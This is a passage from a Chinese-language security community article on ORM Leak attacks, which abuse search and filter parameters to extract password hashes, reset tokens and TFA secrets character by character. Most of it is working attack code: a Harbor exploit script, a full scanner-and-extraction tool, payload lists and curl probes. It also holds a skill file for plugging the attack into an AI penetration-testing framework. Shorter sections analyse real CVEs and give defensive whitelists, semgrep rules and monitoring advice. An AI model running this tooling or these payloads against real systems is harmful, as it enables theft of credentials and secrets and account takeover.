secret, secret\_key, secretKey private\_key, privateKey session\_token, sessionToken refresh\_token, refreshToken salt, password\_salt - - - - - - **实战场景举例：** 你在挖一个 SRC，发现后台有个"搜索团队成员"的功能： GET /api/teams/123/members?search=admin 响应：{"count":1, "members":\[{"username":"admin","email":"admin@xxx.com"}\]} 你改： GET /api/teams/123/members?search=admin&password\_\_startswith=a 如果接口报错 → 可能不是 ORM 过滤，换下一个功能点 ```js import requests import urllib3 urllib3.disable\_warnings() HARBOR\_URL \= "https://localhost:8443" USERNAME \= "admin" \# 需要有效凭据 PASSWORD \= "Harbor12345" session \= requests.Session() session.verify \= False def login(): r \= session.post(f"{HARBOR\_URL}/c/login", json\={ "principal": USERNAME, "password": PASSWORD }) return r.status\_code \== 200 def probe\_users(password\_prefix): r \= session.get( f"{HARBOR\_URL}/api/v2.0/users", params\={"q": f"password=~{password\_prefix}"} ) if r.status\_code \== 200: users \= r.json() return len(users) return \-1 def exploit(): if not login(): print("\[-\] Login failed") return print("\[+\] Login successful") baseline \= probe\_users("") print(f"\[\*\] Baseline: {baseline} users") for c in "abcdefghijklmnopqrstuvwxyz0123456789": cnt \= probe\_users(c) if cnt \> 0 and cnt != baseline: print(f"\[!\] Found {cnt} user(s) with password starting with '{c}'") if cnt \== 1: extracted \= c while True: found \= False for next\_c in "abcdefghijklmnopqrstuvwxyz0123456789$\_": test \= extracted + next\_c if probe\_users(test) \== 1: extracted \= test print(f"\\r\[+\] Extracting: {extracted}", end\="", flush\=True) found \= True break if not found: break print(f"\\n\[+\] Complete password: {extracted}") if \_\_name\_\_ \== "\_\_main\_\_": exploit() ``` **三个环境跑下来，会发现 ORM Leak 的利用条件其实很简单：有搜索框，能改字段名，字段没做白名单。不需要多高深的技术，需要的只是"别光看前端"的习惯。** - - - - - - 四、检测与利用工具 --------- ### 4.1 手动检测流程 在没有自动化工具的情况下，可以通过以下流程手动检测 ORM Leak： └─ 找到带有搜索/过滤功能且 URL 包含 field、q、filter 等参数的接口 ├─ GET /api/users?field=password&value=test ├─ GET /api/users?field=password\_\_startswith&value=a ├─ GET /api/users?q=password\_\_startswith=a ├─ 发送 field=password\_\_startswith=a → 记录长度 ├─ 发送 field=password\_\_startswith=b → 记录长度 └─ 如果长度不同 → 确认 ORM Leak ### 4.2 ORM-Leak-Scanner 工具 ```js #!/usr/bin/env python3 import requests import string import re import sys import argparse import json import time from urllib.parse import urlparse, parse\_qs, urlencode, urlunparse from typing import List, Tuple, Optional BANNER \= """ ╔══════════════════════════════════════════╗ ║ ORM Leak Scanner v1.0 ║ ║ Automated ORM Leak Detection & Exploit ║ ╚══════════════════════════════════════════╝ SENSITIVE\_FIELDS = \[ "password", "password\_hash", "passwd", "salt", "password\_salt", "token", "reset\_token", "resetToken", "tfa\_secret", "tfa\_token", "two\_factor\_secret", "api\_key", "apiKey", "apikey", "secret", "secret\_key", "secretKey", "private\_key", "privateKey", "session\_token", "sessionToken", "refresh\_token", "refreshToken", "oauth\_token", "oauthToken", \] STANDARD\_CHARSET = string.ascii\_lowercase + string.digits + "$\_" EXTENDED\_CHARSET = STANDARD\_CHARSET + string.ascii\_uppercase + "-./@+#!%&\*=" class ORMLeakScanner: def \_\_init\_\_(self, base\_url: str, session: requests.Session = None, timeout: int = 10, delay: float = 0): self.base\_url = base\_url self.session = session or requests.Session() self.timeout = timeout self.delay = delay self.results = \[\] def scan\_single(self, url\_template: str, method: str = "GET", body\_template: dict = None, headers: dict = None) -> List\[str\]: 扫描单个 API 端点的 ORM Leak 风险 url\_template 示例： "http://localhost:8000/api/users?field=KEY&value=VALUE&op=startswith" KEY 和 VALUE 会被替换 print(f"\\n\[\*\] Scanning endpoint: {url\_template}") print(f"\[\*\] Testing {len(SENSITIVE\_FIELDS)} sensitive fields...") vulnerable = \[\] for field in SENSITIVE\_FIELDS: result = self.\_test\_field(url\_template, field, method, body\_template, headers) if result: vulnerable.append(field) print(f" \[!\] VULNERABLE: '{field}' is filterable") if not vulnerable: print(" \[-\] No vulnerable fields detected") else: print(f"\\n\[+\] Found {len(vulnerable)} vulnerable field(s):") for f in vulnerable: print(f" - {f}") return vulnerable def \_test\_field(self, url\_template: str, field: str, method: str, body\_template: dict, headers: dict) -> bool: baseline\_url = url\_template.replace("KEY", field).replace("VALUE", "") test\_url = url\_template.replace("KEY", field).replace("VALUE", "a") try: if method.upper() == "GET": r1 = self.session.get(baseline\_url, timeout=self.timeout, headers=headers) time.sleep(self.delay) r2 = self.session.get(test\_url, timeout=self.timeout, headers=headers) elif method.upper() == "POST": body = body\_template or {} r1 = self.session.post(baseline\_url, json=body, timeout=self.timeout, headers=headers) time.sleep(self.delay) r2 = self.session.post(test\_url, json=body, timeout=self.timeout, headers=headers) else: return False len\_diff = abs(len(r1.text) - len(r2.text)) return len\_diff > 50 except requests.exceptions.RequestException as e: print(f" \[!\] Error testing '{field}': {e}") return False def extract\_field(self, url\_template: str, field: str, method: str = "GET", charset: str = None, max\_length: int = 128) -> str: 逐字符提取敏感字段的值 url\_template 中的 KEY 和 VALUE 会被替换 if charset is None: charset = STANDARD\_CHARSET extracted = "" print(f"\\n\[\*\] Extracting '{field}' using startswith oracle...") for pos in range(max\_length): found = False for c in charset: test\_prefix = extracted + c test\_url = url\_template.replace("KEY", field)\\ .replace("VALUE", test\_prefix) try: if method.upper() == "GET": r = self.session.get(test\_url, timeout=self.timeout) else: r = self.session.post(test\_url, timeout=self.timeout) if self.\_has\_match(r): extracted += c print(f"\\r \[+\] {field}: {extracted}", end="", flush=True) found = True break except requests.exceptions.RequestException: continue if not found: for c in EXTENDED\_CHARSET: if c in charset: continue test\_prefix = extracted + c test\_url = url\_template.replace("KEY", field)\\ .replace("VALUE", test\_prefix) try: r = self.session.get(test\_url, timeout=self.timeout) if self.\_has\_match(r): extracted += c print(f"\\r \[+\] {field}: {extracted}", end="", flush=True) found = True break except: continue if not found: break print() return extracted def \_has\_match(self, response) -> bool: try: data = response.json() if isinstance(data, dict): count = data.get("count") if count is not None: return count > 0 users = data.get("users", \[\]) return len(users) > 0 return False except: return False def \_get\_baseline\_length(self) -> int: return 0 class ODataBinarySearch: def \_\_init\_\_(self, base\_url: str, session: requests.Session = None): self.base\_url = base\_url self.session = session or requests.Session() self.collation\_order = self.\_detect\_collation() def \_detect\_collation(self) -> str: test\_a = self.\_test\_filter("Password gt 'a'") test\_A = self.\_test\_filter("Password gt 'A'") if test\_a != test\_A: print(f"\[\*\] Case-sensitive collation detected") return "case\_sensitive" else: print(f"\[\*\] Case-insensitive collation detected") return "case\_insensitive" def \_test\_filter(self, filter\_expr: str) -> bool: url = f"{self.base\_url}?$filter={filter\_expr}" try: r = self.session.get(url, timeout=10) data = r.json() if isinstance(data, list): return len(data) > 0 if isinstance(data, dict) and "value" in data: return len(data\["value"\]) > 0 return False except: return False def binary\_search\_field(self, field: str, known\_prefix: str = "", mid\_chars: str = None) -> str: 使用二分查找提取敏感字段 原理：通过 gt（大于）/ lt（小于）操作符，每次可以排除一半的可能性 if mid\_chars is None: mid\_chars = "mn01" extracted = known\_prefix while len(extracted) < 64: low = 0 high = 127 # ASCII 范围 while low < high: mid = (low + high) // 2 mid\_char = chr(mid) if 32 <= mid <= 126 else ' ' test\_val = extracted + chr(mid + 1) if mid < 126 else extracted + '~' filter\_expr = f"{field} gt '{test\_val}'" if self.\_test\_filter(filter\_expr): low = mid + 1 else: high = mid next\_char = chr(low) if 32 <= low <= 126 else '?' confirm\_filter = f"startswith({field}, '{extracted + next\_char}')" if not self.\_test\_filter(confirm\_filter): break extracted += next\_char print(f"\\r \[+\] Binary search: {extracted}", end="", flush=True) print() return extracted def main(): parser = argparse.ArgumentParser( description="ORM Leak Scanner - Automated Detection & Exploitation", formatter\_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python orm\_leak\_scanner.py scan "http://localhost:8000/api/users?field=KEY&value=VALUE&op=startswith" python orm\_leak\_scanner.py extract "http://localhost:8000/api/users?field=KEY&value=VALUE&op=startswith" \--field password python orm\_leak\_scanner.py odata "http://localhost/odata/Users" \--field Password ) parser.add\_argument("action", choices\=\["scan", "extract", "odata"\], help\="scan: scan for vulnerable fields | extract: extract field value | odata: OData binary search") parser.add\_argument("url", help\="Target API URL (use KEY and VALUE as placeholders)") parser.add\_argument("--field", default\="password", help\="Field to extract (default: password)") parser.add\_argument("--method", default\="GET", choices\=\["GET", "POST"\], help\="HTTP method (default: GET)") parser.add\_argument("--timeout", type\=int, default\=10, help\="Request timeout in seconds (default: 10)") parser.add\_argument("--delay", type\=float, default\=0, help\="Delay between requests in seconds (default: 0)") parser.add\_argument("--output", help\="Output file for extracted data (JSON)") args \= parser.parse\_args() print(BANNER) scanner \= ORMLeakScanner(args.url, timeout\=args.timeout, delay\=args.delay) if args.action \== "scan": vulnerable \= scanner.scan\_single(args.url, method\=args.method) result \= { "target": args.url, "vulnerable\_fields": vulnerable, "count": len(vulnerable) } if args.output: with open(args.output, "w") as f: json.dump(result, f, indent\=2) print(f"\\n\[\*\] Results saved to: {args.output}") elif args.action \== "extract": value \= scanner.extract\_field(args.url, args.field, method\=args.method) print(f"\\n\[+\] Extraction complete!") print(f"\[+\] {args.field}: {value}") result \= { "target": args.url, "field": args.field, "value": value, "length": len(value) } if args.output: with open(args.output, "w") as f: json.dump(result, f, indent\=2) print(f"\[\*\] Result saved to: {args.output}") elif args.action \== "odata": odata \= ODataBinarySearch(args.url) value \= odata.binary\_search\_field(args.field) print(f"\\n\[+\] OData extraction complete!") print(f"\[+\] {args.field}: {value}") if \_\_name\_\_ \== "\_\_main\_\_": main() ``` ### 4.3 工具使用示例 ```js python orm\_leak\_scanner.py scan "http://localhost:8000/api/users?field=KEY&value=VALUE&op=startswith" python orm\_leak\_scanner.py extract "http://localhost:8000/api/users?field=KEY&value=VALUE&op=startswith" \--field password python orm\_leak\_scanner.py odata "http://localhost/odata/Users" \--field Password ```  ### 4.4 与 AI 渗透框架的集成 写一份新的 orm\_leak.md 直接放进 /skill，即插即用。 ```js > ORM 查询泄露 — 利用搜索/过滤功能逐字符窃取数据库敏感字段 ORM Leak 不是传统 SQL 注入，而是利用应用\*\*正常的搜索/过滤功能\*\*，把 ORM 的查询能力当作"预言机"，通过响应差异逐字符推断数据库中的敏感数据（password hash、reset token、TFA secret、API key 等）。 \*\*核心差异\*\*： - SQL 注入：攻击者突破防御，在输入中嵌入 SQL 语句 - ORM Leak：\*\*开发者主动\*\*把用户输入传给了 ORM 的 filter 参数，WAF 完全无法区分 寻找应用中允许用户过滤数据的接口： \`\`\` URL 特征: - ?q=keyword → 通用搜索 - ?search=keyword → 搜索功能 - ?filter=field:value → 字段过滤 - ?field=username&value=admin → 动态字段名 - ?$filter=startswith(...) → OData 过滤 - GraphQL where 参数 HTTP Body 特征: - {"field": "username", "value": "admin"} - {"filter": {"username": "admin"}} - {"where": {"username": {"contains": "admin"}}} \`\`\` \- 读取 \`recon/api\_endpoints.txt\`，筛选包含 search/filter/q/query/field 参数的端点 \- 读取 \`recon/browser\_api\_calls.txt\`，筛选请求参数中含 filter/where/search 的调用 \- 读取 \`recon/browser\_form\_analysis.txt\`，标记带搜索框/高级筛选的页面 \`\`\`python SENSITIVE\_FIELDS = \[ # 密码相关 "password", "password\_hash", "passwd", "salt", "password\_salt", # Token 相关 "token", "reset\_token", "resetToken", "reset\_token\_hash", "email\_verification\_token", "verification\_token", "session\_token", "sessionToken", "oauth\_token", "oauthToken", "refresh\_token", "refreshToken", # 双因素认证 "tfa\_secret", "tfa\_token", "two\_factor\_secret", "otp\_secret", # API 密钥 "api\_key", "apiKey", "apikey", "secret", "secret\_key", "secretKey", "private\_key", "privateKey", "access\_key", "accessKey", # 其他敏感字段 "security\_answer", "ssn", "credit\_card", \] \`\`\` \`\`\`bash \# 探测字段是否可过滤 GET /api/users?field=password&value=a&op=startswith GET /api/users?field=password\_\_startswith&value=a GET /api/users?q=password\_\_startswith=a \# 跨关系探测（通过外键访问关联模型的敏感字段） GET /api/articles?field=created\_by\_\_password\_\_startswith&value=a GET /api/articles?field=author\_\_reset\_token\_\_startswith&value=a \`\`\` \*\*判断条件\*\*：响应长度差异 > 50 bytes → 字段可过滤 \`\`\`bash \# JSON Body 方式 POST /api/reset-password Content-Type: application/json {"resetToken": {"not": ""}} # 匹配任何有 resetToken 的用户 \# URL-encoded 方式（更隐蔽） POST /api/reset-password Content-Type: application/x-www-form-urlencoded resetToken\[not\]= \# 字段枚举 GET /api/users/search?field=password&value=pbkdf2 \`\`\` \`\`\`bash \# 逻辑运算符二分查找 GET /odata/Users?$filter=Password gt 'm' GET /odata/Users?$filter=Password lt 'a' \# 字符串函数（可能被禁用） GET /odata/Users?$filter=startswith(Password, 'a') \# 跨模型（通过 $expand） GET /odata/Articles?$expand=CreatedBy&$filter=CreatedBy/Password gt 'm' \`\`\` \`\`\`bash \# 表达式覆盖漏洞：第一个段被校验但第二个段实际生效 GET /api/users?q=email\_\_password\_\_startswith=a GET /api/users?q=username\_\_reset\_token\_\_contains=abc \`\`\` \`\`\` ① 响应长度差异 → 最快最可靠（适用 95% 场景） ② 响应时间差异 → 次选，速度慢，需多次采样 ③ 错误信息差异 → 兜底方案 \`\`\` \`\`\`bash \# 确认预言机可用 curl "https://target.com/api/users?field=password\_\_startswith&value=a" | wc -c \# 输出：1245 curl "https://target.com/api/users?field=password\_\_startswith&value=b" | wc -c \# 输出：1023 ← 长度不同 = 预言机可用！ \`\`\` \`\`\`typescript // 利用正则表达式制造时间差 {"resetToken": {"matches": "^(?=a)((\[a-z\])\*)\*$"}} // 以 'a' 开头 → 长耗时 {"resetToken": {"matches": "^(?=b)((\[a-z\])\*)\*$"}} // 以 'b' 开头 → 长耗时 {"resetToken": {"matches": "^(?=x)((\[a-z\])\*)\*$"}} // 以 'x' 开头 → 短耗时（无匹配） \`\`\` \`\`\`python import requests import string def extract\_field(url\_template, field, max\_len=128): """逐字符提取敏感字段""" charset = string.ascii\_lowercase + string.digits + "$\_-+./" extracted = "" for \_ in range(max\_len): found = False for c in charset: test = extracted + c r = requests.get(url\_template.replace("KEY", field).replace("VALUE", test)) # 判断是否有匹配：根据 count 字段或响应体大小 if has\_match(r): extracted += c print(f"\\r\[+\] {field}: {extracted}", end="", flush=True) found = True break if not found: break return extracted def has\_match(response): """判断响应是否表示有匹配""" data = response.json() count = data.get("count") if count is not None: return count > 0 return len(response.text) > BASELINE\_LENGTH \`\`\` 适用于 OData 和部分支持 \`gt\`/\`lt\` 操作的 ORM： \`\`\`python def binary\_search\_field(base\_url, field, known\_prefix="", max\_len=64): """用 gt/lt 二分查找提取字段""" extracted = known\_prefix while len(extracted) < max\_len: low, high = 0, 127 while low < high: mid = (low + high) // 2 mid\_char = chr(mid) if 32 <= mid <= 126 else ' ' test\_val = extracted + mid\_char # 测试 gt r = requests.get(f"{base\_url}?$filter={field} gt '{test\_val}'") if has\_match(r): low = mid + 1 else: high = mid next\_char = chr(low) if 32 <= low <= 126 else None if next\_char is None: break extracted += next\_char print(f"\\r\[+\] {field}: {extracted}", end="", flush=True) return extracted \`\`\` \*\*优势\*\*：每次请求排除一半可能性，60 位 bcrypt hash 约需 420 次请求（vs 逐字符的 2400 次）。 \`\`\`bash \# 测试大小写关系 GET /api?field=password\_\_gt=a # 确定 'a' 的位置 GET /api?field=password\_\_gt=A # 确定 'A' 的位置 \# 如果 'a' < 'A' → 标准 ASCII 排序 \# 如果 'A' < 'a' 或无差异 → CI（不区分大小写）排序 \`\`\` | 数据库 | 大小写 | 特殊字符排序 | | ---------- | :---------: | ---------------------- | | MySQL 8.0 | 不区分 | 符号 < 数字 < 字母 | | MSSQL | 不区分 | 大小写字母\*\*交错排列\*\* | | PostgreSQL | locale 依赖 | 取决于系统设置 | | SQLite | LIKE 不区分 | Binary 排序 | \*\*关键\*\*：MSSQL 中 \`abcABC\` 的排序不是 \`ABCabc\`——如果不先探测排序规则，二分查找结果完全错误。 \`\`\` 操作符: \_\_startswith → 前缀匹配 \_\_contains → 包含匹配 \_\_regex → 正则（SQLite 上区分大小写） \_\_gt / \_\_lt → 大于/小于（二分查找） \_\_in → 集合匹配 跨关系: created\_by\_\_password\_\_startswith → 通过外键访问关联模型 author\_\_profile\_\_reset\_token\_\_contains → 多层关系穿透 \`\`\` \`\`\` 操作符注入 (JSON): {"not": ""} → 匹配非空值 {"contains": "a"} → 包含匹配 {"startsWith": "a"} → 前缀匹配 {"matches": "regex"} → 正则（可触发 ReDoS） {"in": \["a","b"\]} → 集合匹配 入口: - JSON Body (最直接) - URL-encoded (隐蔽) - Cookie j: 前缀 (最隐蔽) \`\`\` \`\`\` 表达式覆盖漏洞: email\_\_password\_\_startswith → parseExprs 将第一个段 (email) 覆盖为第二个段 (password) → 用于绕过只校验第一段的白名单 利用: qs.Filter("email\_\_password\_\_startswith", "a") 实际生效: password\_\_startswith=a \`\`\` \`\`\` OData $filter: startswith(Field, 'val') → 前缀匹配（可能被禁用） contains(Field, 'val') → 包含匹配 gt / lt / ge / le → 比较运算符（通常无法禁用） 跨模型: $expand=CreatedBy&$filter=CreatedBy/Password gt 'm' \`\`\` 将检测结果写入 \`targets/<target>/findings/\`： \`\`\`markdown \# Finding: ORM Leak — <字段名> \- \*\*Endpoint\*\*: <URL> \- \*\*Method\*\*: GET/POST \- \*\*ORM Framework\*\*: Django / Prisma / Beego / EF / OData \- \*\*Vulnerable Fields\*\*: password, reset\_token, tfa\_secret \- \*\*Oracle Type\*\*: response\_length / response\_time / error\_message \- \*\*Extracted Data\*\*: pbkdf2\_sha256$720000$abc123def456... \- \*\*Severity\*\*: Critical / High（取决于泄露字段类型） \- \*\*Impact\*\*: 数据库敏感字段（密码哈希/令牌/密钥）可逐字符提取 \`\`\` \`\`\` ORM Leak 发现 → 联动攻击链: ├── 提取 password\_hash → 离线破解 → 登录 ├── 提取 reset\_token → 密码重置 → 账户接管 ├── 提取 api\_key → 认证绕过 → 越权访问 └── 提取 tfa\_secret → TOTP 计算 → 绕过双因素认证 \`\`\` \- \*\*字段白名单\*\*：只允许预设的可过滤字段 \- \*\*操作符白名单\*\*：限制 \`\_\_startswith\`、\`\_\_contains\` 等操作符 \- \*\*类型校验\*\*：防止对象/数组传入字符串类型字段（Prisma） \- \*\*OData 配置\*\*：\`AllowedFunctions = None\` 且限制可过滤字段 \- \*\*Beego\*\*：不要将用户输入直接传入 \`qs.Filter(key, value)\` Recon 阶段收集的端点数据直接作为 ORM Leak 检测的输入： \- \`recon/api\_endpoints.txt\` → 筛选含 filter/search/q 参数的端点 \- \`recon/browser\_api\_calls.txt\` → 筛选 POST body 中含 filter/where 的调用 \- \`recon/technologies.txt\` → 识别 ORM 类型（Django/Prisma/Beego → 选择对应手法） ``` - - - - - - 五、真实漏洞案例分析 ---------- ### 5.1 Harbor CVE-2025-30086 **产品背景：** Harbor 是 CNCF 孵化的开源容器镜像仓库，27k+ GitHub Stars，国内大量企业在用。 **攻击向量：** `GET /api/v2.0/users?q=email=~attacker.com` **漏洞根因：** `setFilters` 函数把 URL 参数 `q` 直接传进 Beego ORM 的 `qs.Filter(key, value)`，`key` 完全由用户控制。 **三层补丁绕过过程（还原攻防双方的博弈）：** **第一层防御（v2.13.0）：** Harbor 团队对 filter key 的第一个段做白名单校验，只允许 `username`、`email`、`realname`。 绕过：Beego 的 `parseExprs` 函数在遇到三个段的 key（如 `email__password__startswith`）时，会将第一个段覆盖为第二个段。虽然 Harbor 校验了第一段是 `email`（在白名单中），但实际生效的是第二段 `password`。 ```js parts :\= strings.SplitN(key, "\_\_", 2) // max 2 parts field :\= parts\[0\] if !allowedFields\[field\] { return errors.New("field not allowed") } ``` **第二层防御（v2.13.1-rc1）：** 限制 filter key 最多只能有一个双下划线（最多两个段）。 绕过：使用模糊匹配格式 `email=~password`。Harbor 在检测到 `=~` 符号时，会追加 `__icontains` 后缀，使最终的 key 变成 `email__password__icontains`。虽然有 4 个段，但因为 `icontains` 不区分大小写，对于 salt 等大小写敏感的字段，提取精度受限但数据仍然泄露了。 ```js parts :\= strings.SplitN(key, "\_\_", 3) // max 3 parts if len(parts) \> 2 { return errors.New("too many segments") } ``` **第三层防御（v2.14.0）：** 对最后一个段（操作符部分）做白名单校验，只允许特定的操作符。 第三版补丁是最终的修复方案。 **影响评估：** 攻击者获取到的是数据库中所有用户的 password hash（bcrypt）、salt、email。brcypt 虽然难以逆向，但可以离线破解，且 email 泄露直接暴露了用户身份。 ### 5.2 Directus CVE-2025-64748 **产品背景：** Directus 是一个流行的开源无头 CMS。 **漏洞描述：** 它的全局搜索在搜 `directus_users` 表时，SQL 查询里直接包含了敏感字段： SELECT \* FROM directus\_users WHERE LOWER(directus\_users.tfa\_secret) LIKE '%search\_term%' ← TFA 密钥被搜索 OR LOWER(directus\_users.token) LIKE '%search\_term%' ← 会话令牌被搜索 OR LOWER(directus\_users.email) LIKE '%search\_term%' OR LOWER(directus\_users.first\_name) LIKE '%search\_term%' 攻击者只需要搜索特定的字符串片段，就能判断出 tfa\_secret 或 token 是否包含该字符串。 **修复方案：** 在生成搜索 SQL 时，将 `tfa_secret`、`token` 等敏感字段排除在搜索范围之外。 ### 5.3 Label Studio CVE-2023-47117 **产品背景：** Label Studio 是一个流行的开源数据标注平台。 **漏洞描述：** `apply_filter` 函数直接把用户输入当成 Django ORM Q 表达式的字段名： def apply\_filter(queryset: QuerySet, filter\_params: dict): for field\_name, value in filter\_params.items(): queryset \\= queryset.filter( Q(\*\*{field\_name: value}) ) return queryset **影响：** 攻击者可以通过 `project_id=1&password__startswith=pbkdf2` 这样的参数组合来过滤 password 字段。 **修复方案：** 对 `field_name` 做白名单校验，只允许预设的可查询字段。 ### 5.4 Strapi CVE-2023-34235（补丁绕过） **产品背景：** Strapi 是 Node.js 生态最流行的开源无头 CMS 之一。 **漏洞描述：** Strapi 把 `_where` 参数里的字段名直接传进查询。CVE-2023-22894 修了一部分过滤条件，但 CVE-2023-34235 证明了补丁不完整——用数据库中不存在的字段名，照样能触发 ORM Leak。 ```js // CVE-2023-22894 补丁：限制 _where 只能过滤白名单字段 // CVE-2023-34235 绕过：通过 population 穿透关联模型 // 正常请求（被补丁拦截） GET /api/users?_where[password_contains]=a // → 400: "password" is not a valid filter field // 绕过请求 —— 通过关联模型的 population 机制 GET /api/articles?_where[createdBy.password_contains]=a // → Strapi 在处理 population 时会 JOIN users 表 // → createdBy 的校验通过，但 password 字段的过滤条件已经进入查询 ``` **启示：** 过滤表达式解析的 bug 比想象中更难彻底修掉。ORM Leak 是系统级的攻击面，分散打补丁容易遗漏。 - - - - - - 六、防御体系 ------ ### 6.1 开发者防御：字段白名单 **最根本的一条：永远别把用户输入直接当成 ORM 的字段名传进去。** #### Django ```js User.objects.filter(\*\*{user\_input\_key: value}) ALLOWED\_FILTER\_FIELDS \= { 'username': \['exact', 'contains', 'startswith'\], 'email': \['exact', 'contains'\], 'is\_active': \['exact'\], } def parse\_filter\_key(key: str) \-> tuple: parts \= key.split('\_\_', 1) field \= parts\[0\] operator \= parts\[1\] if len(parts) \> 1 else 'exact' if field not in ALLOWED\_FILTER\_FIELDS: raise ValueError(f"Field '{field}' is not allowed for filtering") if operator not in ALLOWED\_FILTER\_FIELDS\[field\]: raise ValueError(f"Operator '{operator}' not allowed on '{field}'") return field, operator field, operator \= parse\_filter\_key(user\_input\_key) User.objects.filter(\*\*{f"{field}\_\_{operator}": value}) ``` #### Prisma ```js prisma.user.findFirst({ where: { \[userInput\]: value } }); const ALLOWED\_FIELDS \= \['username', 'email'\] as const; type AllowedField \= typeof ALLOWED\_FIELDS\[number\]; function safeQuery(field: string, value: unknown) { if (!ALLOWED\_FIELDS.includes(field as AllowedField)) { throw new Error(\`Field '${field}' not allowed\`); } if (typeof value !== 'string' && typeof value !== 'number') { throw new Error(\`Invalid value type for '${field}'\`); } return prisma.user.findMany({ where: { \[field\]: { contains: value as string } } }); } ``` #### Beego / Go ```js qs.Filter(userInput, value) var allowedFields \= map\[string\]bool{ "username": true, "email": true, "realname": true, } func safeFilter(qs \*orm.QuerySeter, key string, value interface{}) error { parts :\= strings.SplitN(key, "\_\_", 2) field :\= parts\[0\] if !allowedFields\[field\] { return fmt.Errorf("field '%s' is not allowed for filtering", field) } \*qs \= qs.Filter(key, value) return nil } ``` ### 6.2 检测防御：CI/CD 自动化扫描 在 CI/CD 流水线中加入 semgrep 规则，自动检测新代码中的 ORM Leak 风险： ```js name: ORM Leak Scan on: \[pull\_request\] jobs: semgrep: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: returntocorp/semgrep-action@v3 with: config: > https://raw.githubusercontent.com/elttam/semgrep-rules/main/django-orm-leak.yaml https://raw.githubusercontent.com/elttam/semgrep-rules/main/prisma-orm-leak.yaml https://raw.githubusercontent.com/elttam/semgrep-rules/main/beego-orm-leak.yaml ``` ### 6.3 OData 安全配置 ```js \[EnableQuery( AllowedFunctions \= AllowedFunctions.None, AllowedQueryOptions \= AllowedQueryOptions.None, // 完全禁用 MaxTop \= 100 )\] public IActionResult Get() { return Ok(dataSource); } public class User { public int Id { get; set; } \[FilterNotAllowed\] public string Password { get; set; } \[FilterNotAllowed\] public string ResetToken { get; set; } \[FilterAllowed\] public string Username { get; set; } } ``` ### 6.4 运行时监控 当无法完全修复 ORM Leak 时（如遗留系统），可以通过监控来检测攻击： ```js alert\_conditions \= { "threshold": 50, "time\_window": 300, "sensitive\_fields": \["password", "salt", "token", "tfa\_secret"\], } ``` **说白了：能防就防，防不住就盯着。白名单是最有效的防御，没有之一。** - - - - - - 七、总结 ---- 这篇文章写到这里，其实想说的就几点。 ORM Leak 不是某个框架的 bug，是开发习惯的问题。Django 会中招、Prisma 会中招、Beego 会中招——只要写了 `filter(**{用户输入})` 这种代码，全是靶子。说实话，这种代码在国内项目里真的太多了。 攻击者用的是应用正常的搜索功能，WAF 完全分不清。发一个 `password__startswith=a` 的请求出去，日志里看起来就是个普通搜索。没有 SQL 关键字，没有特殊字符，WAF 根本不会拦。 那几个 CVE 也说明这个攻击面不是纸上谈兵。Harbor 的作者 20 分钟就找到了漏洞，Directus 的搜索接口把 `tfa_secret` 也搜了。都是真实产品，不是 demo。 另外，这篇文章的思路完全可以集成到 AI 渗透框架里。IDOR 检测是搜不同参数看响应差异，ORM Leak 是搜不同字段看响应差异——逻辑本质是一样的。加一个 Skill 模块就行了。
发表于 2026-07-07 09:41:25
阅读 ( 2520 )
分类：
渗透测试
5 推荐
收藏
0 条评论
zee
3 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号，注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号，注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息：
广告、推广、测试等内容
违规内容：
色情、暴力、血腥、敏感信息等内容
不友善内容：
人身攻击、挑衅辱骂、恶意行为
其他原因：
请补充说明
举报原因:
×
如果觉得我的文章对您有用，请随意打赏。你的支持将鼓励我继续创作！
